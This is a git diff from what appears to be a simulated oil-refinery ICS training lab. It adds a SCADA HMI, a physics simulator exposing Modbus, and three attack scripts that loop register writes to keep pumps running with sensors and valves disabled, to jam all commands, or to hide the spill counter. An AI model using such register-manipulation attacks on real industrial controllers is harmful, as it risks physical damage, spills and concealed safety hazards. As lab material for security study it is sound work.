+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This attack scripts sets register values so the PLC constantly spews oil into the system',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="target",
+ help = "Target modbus IP address")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+#####################################
+# Code
+#####################################
+client = ModbusClient(args.target, port=5020)
+
+try:
+ client.connect()
+ print ". . . Connecting to PLC"
+ print ". . . Please wait."
+ time.sleep(3)
+ print ". . . Attacking PLC at " + args.target + ":5020"
+ time.sleep(1)
+ print ". . . Attack successful!"
+ print ". . . PLC will now constantly pump oil"
+ while True:
+ rq = client.write_register(0x01, 1) # Run Plant, Run!
+ rq = client.write_register(0x02, 0) # Level Sensor
+ rq = client.write_register(0x04, 0) # Limit Switch
+ rq = client.write_register(0x03, 0) # Outlet valve
+ rq = client.write_register(0x08, 0) # Waste valve
+
+except KeyboardInterrupt:
+ client.close()
+except ConnectionException:
+ print "Unable to connect / Connection lost"
diff --git a/plants/oil-refinery/attacks/nothing_runs.py b/plants/oil-refinery/attacks/nothing_runs.py
new file mode 100755
index 0000000..65cd092
--- /dev/null
+++ b/plants/oil-refinery/attacks/nothing_runs.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+from pymodbus.client.sync import ModbusTcpClient as ModbusClient
+from pymodbus.exceptions import ConnectionException
+import logging
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This attack scripts sets register values so that nothing on the PLC will run',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="target",
+ help = "Target modbus IP address")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+#####################################
+# Code
+#####################################git c
+client = ModbusClient(args.target, port=5020)
+
+try:
+ client.connect()
+ print ". . . Connecting to PLC"
+ print ". . . Please wait."
+ time.sleep(3)
+ print ". . . Attacking PLC at " + args.target + ":5020"
+ time.sleep(1)
+ print ". . . Attack successful!"
+ print ". . . Jamming all PLC commands!"
+ while True:
+ rq = client.write_register(0x01, 0) # Run Plant, Run!
+ rq = client.write_register(0x02, 0) # Level Sensor
+ rq = client.write_register(0x04, 0) # Limit Switch
+ rq = client.write_register(0x03, 0) # Outlet valve
+ rq = client.write_register(0x08, 0) # Waste valve
+
+except KeyboardInterrupt:
+ client.close()
+except ConnectionException:
+ print "Unable to connect / Connection lost"
diff --git a/plants/oil-refinery/attacks/run_no_spill.py b/plants/oil-refinery/attacks/run_no_spill.py
new file mode 100755
index 0000000..35a11e5
--- /dev/null
+++ b/plants/oil-refinery/attacks/run_no_spill.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python
+
+from pymodbus.client.sync import ModbusTcpClient as ModbusClient
+from pymodbus.exceptions import ConnectionException
+import logging
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This attack scripts sets register values so the PLC constantly spews oil into the system, and also shows that no oil has spilled',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="target",
+ help = "Target modbus IP address")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+#####################################
+# Code
+#####################################
+client = ModbusClient(args.target, port=5020)
+
+try:
+ client.connect()
+ print ". . . Connecting to PLC"
+ print ". . . Please wait."
+ time.sleep(3)
+ print ". . . Attacking PLC at " + args.target + ":5020"
+ time.sleep(1)
+ print ". . . Attack successful!"
+ print ". . . PLC will now constantly pump oil"
+ while True:
+ rq = client.write_register(0x01, 1) # Run Plant, Run!
+ rq = client.write_register(0x02, 0) # Level Sensor
+ rq = client.write_register(0x04, 0) # Limit Switch
+ rq = client.write_register(0x06, 0) # Nope, nothing spilled
+
+except KeyboardInterrupt:
+ client.close()
+except ConnectionException:
+ print "Unable to connect / Connection lost"
diff --git a/plants/oil-refinery/oil_hmi.py b/plants/oil-refinery/oil_hmi.py
new file mode 100755
index 0000000..f578462
--- /dev/null
+++ b/plants/oil-refinery/oil_hmi.py
@@ -0,0 +1,322 @@
+#!/usr/bin/env python
+
+# IMPORTS #
+from gi.repository import GLib, Gtk, Gdk, GObject
+from pymodbus.client.sync import ModbusTcpClient as ModbusClient
+from pymodbus.exceptions import ConnectionException
+
+import argparse
+import os
+import sys
+import time
+
+# Argument Parsing
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script runs the SCADA HMI to control the PLC',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to connect the HMI to")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+MODBUS_SLEEP=1
+
+class HMIWindow(Gtk.Window):
+ oil_processed_amount = 0
+ oil_spilled_amount = 0
+
+ def initModbus(self):
+ # Create modbus connection to specified address and port
+ self.modbusClient = ModbusClient(args.server_addr, port=5020)
+
+ # Default values for the HMI labels
+ def resetLabels(self):
+ self.feed_pump_value.set_markup("N/A")
+ self.separator_value.set_markup("N/A")
+ self.level_switch_value.set_markup("N/A")
+ self.process_status_value.set_markup("N/A")
+ self.connection_status_value.set_markup("OFFLINE")
+ self.oil_processed_value.set_markup("" + str(self.oil_processed_amount) + " Liters")
+ self.oil_spilled_value.set_markup("" + str(self.oil_spilled_amount) + " Liters")
+ self.outlet_valve_value.set_markup("N/A")
+ self.waste_value.set_markup("N/A")
+
+ def __init__(self):
+ # Window title
+ Gtk.Window.__init__(self, title="Oil Refinery")
+ self.set_border_width(100)
+
+ #Create modbus connection
+ self.initModbus()
+
+ elementIndex = 0
+ # Grid
+ grid = Gtk.Grid()
+ grid.set_row_spacing(15)
+ grid.set_column_spacing(10)
+ self.add(grid)
+
+ # Main title label
+ label = Gtk.Label()
+ label.set_markup("Crude Oil Pretreatment Unit ")
+ grid.attach(label, 4, elementIndex, 4, 1)
+ elementIndex += 1
+
+ # Crude Oil Feed Pump
+ feed_pump_label = Gtk.Label("Crude Oil Tank Feed Pump")
+ feed_pump_value = Gtk.Label()
+
+ feed_pump_start_button = Gtk.Button("START")
+ feed_pump_stop_button = Gtk.Button("STOP")
+
+ feed_pump_start_button.connect("clicked", self.setPump, 1)
+ feed_pump_stop_button.connect("clicked", self.setPump, 0)
+
+ grid.attach(feed_pump_label, 4, elementIndex, 1, 1)
+ grid.attach(feed_pump_value, 5, elementIndex, 1, 1)
+ grid.attach(feed_pump_start_button, 6, elementIndex, 1, 1)
+ grid.attach(feed_pump_stop_button, 7, elementIndex, 1, 1)
+ elementIndex += 1
+
+ # Level Switch
+ level_switch_label = Gtk.Label("Crude Oil Tank Level Switch")
+ level_switch_value = Gtk.Label()
+
+ level_switch_start_button = Gtk.Button("ON")
+ level_switch_stop_button = Gtk.Button("OFF")
+
+ level_switch_start_button.connect("clicked", self.setTankLevel, 1)
+ level_switch_stop_button.connect("clicked", self.setTankLevel, 0)
+
+ grid.attach(level_switch_label, 4, elementIndex, 1, 1)
+ grid.attach(level_switch_value, 5, elementIndex, 1, 1)
+ grid.attach(level_switch_start_button, 6, elementIndex, 1, 1)
+ grid.attach(level_switch_stop_button, 7, elementIndex, 1, 1)
+ elementIndex += 1
+
+ #outlet valve
+ outlet_valve_label = Gtk.Label("Outlet Valve")
+ outlet_valve_value = Gtk.Label()
+
+ outlet_vlave_open_button = Gtk.Button("OPEN")
+ outlet_valve_close_button = Gtk.Button("CLOSE")
+
+ outlet_vlave_open_button.connect("clicked", self.setOutletValve, 1)
+ outlet_valve_close_button.connect("clicked", self.setOutletValve, 0)
+
+ grid.attach(outlet_valve_label, 4, elementIndex, 1, 1)
+ grid.attach(outlet_valve_value, 5, elementIndex, 1, 1)
+ grid.attach(outlet_vlave_open_button, 6, elementIndex, 1, 1)
+ grid.attach(outlet_valve_close_button, 7, elementIndex, 1, 1)
+ elementIndex += 1
+
+ #Separator Vessel
+ separator_label = Gtk.Label("Separator Vessel Valve")
+ separator_value = Gtk.Label()
+
+ separator_open_button = Gtk.Button("OPEN")
+ separator_close_button = Gtk.Button("CLOSED")
+
+ separator_open_button.connect("clicked", self.setSepValve, 1)
+ separator_close_button.connect("clicked", self.setSepValve, 0)
+
+ grid.attach(separator_label, 4, elementIndex, 1, 1)
+ grid.attach(separator_value, 5, elementIndex, 1, 1)
+ grid.attach(separator_open_button, 6, elementIndex, 1, 1)
+ grid.attach(separator_close_button, 7, elementIndex, 1, 1)
+ elementIndex += 1
+
+ #Waste Water Valve
+ waste_label = Gtk.Label("Waste Water Valve")
+ waste_value = Gtk.Label()
+
+ waste_open_button = Gtk.Button("OPEN")
+ waste_close_button = Gtk.Button("CLOSED")
+
+ waste_open_button.connect("clicked", self.setWasteValve, 1)
+ waste_close_button.connect("clicked", self.setWasteValve, 0)
+
+ grid.attach(waste_label, 4, elementIndex, 1, 1)
+ grid.attach(waste_value, 5, elementIndex, 1, 1)
+ grid.attach(waste_open_button, 6, elementIndex, 1, 1)
+ grid.attach(waste_close_button, 7, elementIndex, 1, 1)
+ elementIndex += 1
+
+ # Process status
+ process_status_label = Gtk.Label("Process Status")
+ process_status_value = Gtk.Label()
+ grid.attach(process_status_label, 4, elementIndex, 1, 1)
+ grid.attach(process_status_value, 5, elementIndex, 1, 1)
+ elementIndex += 1
+
+ # Connection status
+ connection_status_label = Gtk.Label("Connection Status")
+ connection_status_value = Gtk.Label()
+ grid.attach(connection_status_label, 4, elementIndex, 1, 1)
+ grid.attach(connection_status_value, 5, elementIndex, 1, 1)
+ elementIndex += 1
+
+ # Oil Processed Status
+ oil_processed_label = Gtk.Label("Oil Processed Status")
+ oil_processed_value = Gtk.Label()
+ grid.attach(oil_processed_label, 4, elementIndex, 1, 1)
+ grid.attach(oil_processed_value, 5, elementIndex, 1, 1)
+ elementIndex += 1
+
+ # Oil Spilled Status
+ oil_spilled_label = Gtk.Label("Oil Spilled Status")
+ oil_spilled_value = Gtk.Label()
+ grid.attach(oil_spilled_label, 4, elementIndex, 1, 1)
+ grid.attach(oil_spilled_value, 5, elementIndex, 1, 1)
+ elementIndex += 1
+
+
+ # Oil Refienery branding
+ virtual_refinery = Gtk.Label()
+ virtual_refinery.set_markup("Crude Oil Pretreatment Unit - HMI")
+ grid.attach(virtual_refinery, 4, elementIndex, 2, 1)
+
+ # Attach Value Labels
+ self.feed_pump_value = feed_pump_value
+ self.process_status_value = process_status_value
+ self.connection_status_value = connection_status_value
+ self.separator_value = separator_value
+ self.level_switch_value = level_switch_value
+ self.oil_processed_value = oil_processed_value
+ self.oil_spilled_value = oil_spilled_value
+ self.outlet_valve_value = outlet_valve_value
+ self.waste_value = waste_value
+
+ # Set default label values
+ self.resetLabels()
+ GObject.timeout_add_seconds(MODBUS_SLEEP, self.update_status)
+
+ # Control the feed pump register values
+ def setPump(self, widget, data=None):
+ try:
+ self.modbusClient.write_register(0x01, data)
+ except:
+ pass
+
+ # Control the tank level register values
+ def setTankLevel(self, widget, data=None):
+ try:
+ self.modbusClient.write_register(0x02, data)
+ except:
+ pass
+
+ # Control the separator vessel level register values
+ def setSepValve(self, widget, data=None):
+ try:
+ self.modbusClient.write_register(0x04, data)
+ except:
+ pass
+
+ # Control the separator vessel level register values
+ def setWasteValve(self, widget, data=None):
+ try:
+ self.modbusClient.write_register(0x08, data)
+ except:
+ pass
+
+ def setOutletValve(self, widget, data=None):
+ try:
+ self.modbusClient.write_register(0x03, data)
+ except:
+ pass
+
+ def update_status(self):
+
+ try:
+ # Store the registers of the PLC in "rr"
+ rr = self.modbusClient.read_holding_registers(1,16)
+ regs = []
+
+ # If we get back a blank response, something happened connecting to the PLC
+ if not rr or not rr.registers:
+ raise ConnectionException
+
+ # Regs is an iterable list of register key:values
+ regs = rr.registers
+
+ if not regs or len(regs) < 16:
+ raise ConnectionException
+
+ # If the feed pump "0x01" is set to 1, then the pump is running
+ if regs[0] == 1:
+ self.feed_pump_value.set_markup("RUNNING")
+ else:
+ self.feed_pump_value.set_markup("STOPPED")
+
+ # If the level sensor is ON
+ if regs[1] == 1:
+ self.level_switch_value.set_markup("ON")
+ else:
+ self.level_switch_value.set_markup("OFF")
+
+ # Outlet Valve status
+ if regs[2] == 1:
+ self.outlet_valve_value.set_markup("OPEN")
+ else:
+ self.outlet_valve_value.set_markup("CLOSED")
+
+ # If the feed pump "0x04" is set to 1, separator valve is open
+ if regs[3] == 1:
+ self.separator_value.set_markup("OPEN")
+ self.process_status_value.set_markup("RUNNING ")
+ else:
+ self.separator_value.set_markup("CLOSED")
+ self.process_status_value.set_markup("STOPPED ")
+
+ # Waste Valve status "0x08"
+ if regs[7] == 1:
+ self.waste_value.set_markup("OPEN")
+ else:
+ self.waste_value.set_markup("CLOSED")
+
+ # If the oil spilled tag gets set, increase the amount of oil we have spilled
+ if regs[5]:
+ self.oil_spilled_value.set_markup("" + str(regs[5]) + " Liters")
+ # If the oil spilled tag gets set, increase the amount of oil we have spilled
+ if regs[6]:
+ self.oil_processed_value.set_markup("" + str(regs[6] + regs[8]) + " Liters")
+
+ # If we successfully connect, then show that the HMI has contacted the PLC
+ self.connection_status_value.set_markup("ONLINE ")
+
+
+ except ConnectionException:
+ if not self.modbusClient.connect():
+ self.resetLabels()
+ except:
+ raise
+ finally:
+ return True
+
+def app_main():
+ win = HMIWindow()
+ win.connect("delete-event", Gtk.main_quit)
+ win.connect("destroy", Gtk.main_quit)
+ win.show_all()
+
+
+if __name__ == "__main__":
+ GObject.threads_init()
+ app_main()
+ Gtk.main()
diff --git a/plants/oil-refinery/oil_unit.png b/plants/oil-refinery/oil_unit.png
new file mode 100755
index 0000000..e571a61
Binary files /dev/null and b/plants/oil-refinery/oil_unit.png differ
diff --git a/plants/oil-refinery/oil_world.py b/plants/oil-refinery/oil_world.py
new file mode 100755
index 0000000..b8ea3a0
--- /dev/null
+++ b/plants/oil-refinery/oil_world.py
@@ -0,0 +1,526 @@
+#!/usr/bin/env python
+# NOTES:
+# Values of 1 = ON, OPEN
+# Values of 0 = OFF, CLOSED
+
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+# Network
+import socket
+
+# Argument parsing
+import argparse
+
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VALVE = 0x04
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+PLC_WASTE_VALVE = 0x08
+PLC_OIL_UPPER = 0x09
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_valve_collision = 0x7
+waste_valve_collision = 0x8
+oil_spill_collision = 0x9
+oil_processed_collision = 0x3
+
+# Helper function to set PLC values
+def PLCSetTag(addr, value):
+ context[0x0].setValues(3, addr, [value])
+
+# Helper function that returns PLC values
+def PLCGetTag(addr):
+ return context[0x0].getValues(3, addr, count=1)[0]
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 2
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.friction = 0.0
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel release
+def sep_valve(space):
+ body = pymunk.Body()
+ body.position = (327, 218)
+ radius = 2
+ a = (-15, 0)
+ b = (15, 0)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = sep_valve_collision
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def waste_valve(space):
+ body = pymunk.Body()
+ body.position = (225, 218)
+ radius = 2
+ a = (-8, 0)
+ b = (9, 0)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = waste_valve_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ a = (0, 0)
+ b = (0, 0)
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+# Outlet valve that lets oil from oil tank to the pipes
+def outlet_valve(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-14, 0)
+ b = (14, 0)
+ radius = 2
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+# Sensor at the bottom of the world that detects and counts spills
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 100)
+ radius = 7
+ a = (0, 75)
+ b = (137, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Sensor at the bottom of the world that detects and counts spills
+def oil_processed_sensor(space):
+ body = pymunk.Body()
+ body.position = (327, 218)
+ radius = 7
+ a = (-12, -5)
+ b = (12, -5)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_processed_collision # oil processed sensor
+ space.add(shape)
+ return shape
+
+# Feed pump that the oil comes out of
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 250), (-278, 145), 1) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 1)
+ l3 = pymunk.Segment(body, (-180, 250), (-180, 145), 1) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 1)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 1) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 1) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 1)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 1) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 1) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 1)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 1) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 1) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 1)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 1) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 1) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 1)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 1) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 1) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 1) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 1) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 1) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 1) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 1) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 3) #center separator line
+ l35 = pymunk.Segment(body, (-3, 10), (-65, -23), 1)
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 1) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 1) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 1) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 1) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 1) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 1) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 1) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 1) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 1) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 1) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34, l35) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,l17,
+ l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34,l35)
+
+# Draw a defined polygon
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+def oil_processed(space, arbiter, *args, **kwargs):
+ global oil_processed_amount
+ log.debug("Oil Processed")
+ oil_processed_amount = oil_processed_amount + 1
+ if oil_processed_amount >= 65000:
+ PLCSetTag(PLC_OIL_PROCESSED, 65000) # We processed a unit of oil
+ PLCSetTag(PLC_OIL_UPPER, oil_processed_amount-65000) # We processed a unit of oil
+ else:
+ PLCSetTag(PLC_OIL_PROCESSED, oil_processed_amount) # We processed a unit of oil
+ return False
+
+# This is on when separation is on
+def sep_open(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ return False
+
+# This fires when the separator is not processing
+def sep_closed(space, arbiter, *args, **kwargs):
+ log.debug("Stop separation")
+ return True
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ return True
+
+def waste_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Waste valve open")
+ return False
+
+def waste_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Waste valve close")
+ return True
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ # When oil touches the oil_spill marker, call oil_spilled
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+ # When oil touches the oil_process marker, call oil_processed
+ space.add_collision_handler(oil_processed_collision, ball_collision, begin=oil_processed)
+ # Initial outlet valve condition is turned off
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+ # Initial sep valve condition is turned off
+ space.add_collision_handler(sep_valve_collision, ball_collision, begin=no_collision)
+ # Initial waste valve condition is turned off
+ space.add_collision_handler(waste_valve_collision, ball_collision, begin=no_collision)
+
+ # Add the objects to the game world
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ sep_valve_obj = sep_valve(space)
+ oil_spill = oil_spill_sensor(space)
+ oil_process = oil_processed_sensor(space)
+ outlet = outlet_valve(space)
+ waste_valve_obj = waste_valve(space)
+
+
+ balls = []
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ # Load the background picture for the pipe images
+ bg = pygame.image.load("oil_unit.png")
+ # Background color
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+
+ # Oil Tank outlet valve open/closed collision handler
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_open)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+
+ # Separator valve open/closed collision handler
+ if PLCGetTag(PLC_SEP_VALVE) == 1:
+ space.add_collision_handler(sep_valve_collision, ball_collision, begin=sep_open)
+ else:
+ space.add_collision_handler(sep_valve_collision, ball_collision, begin=sep_closed)
+
+ # Waste water valve open/closed collision handler
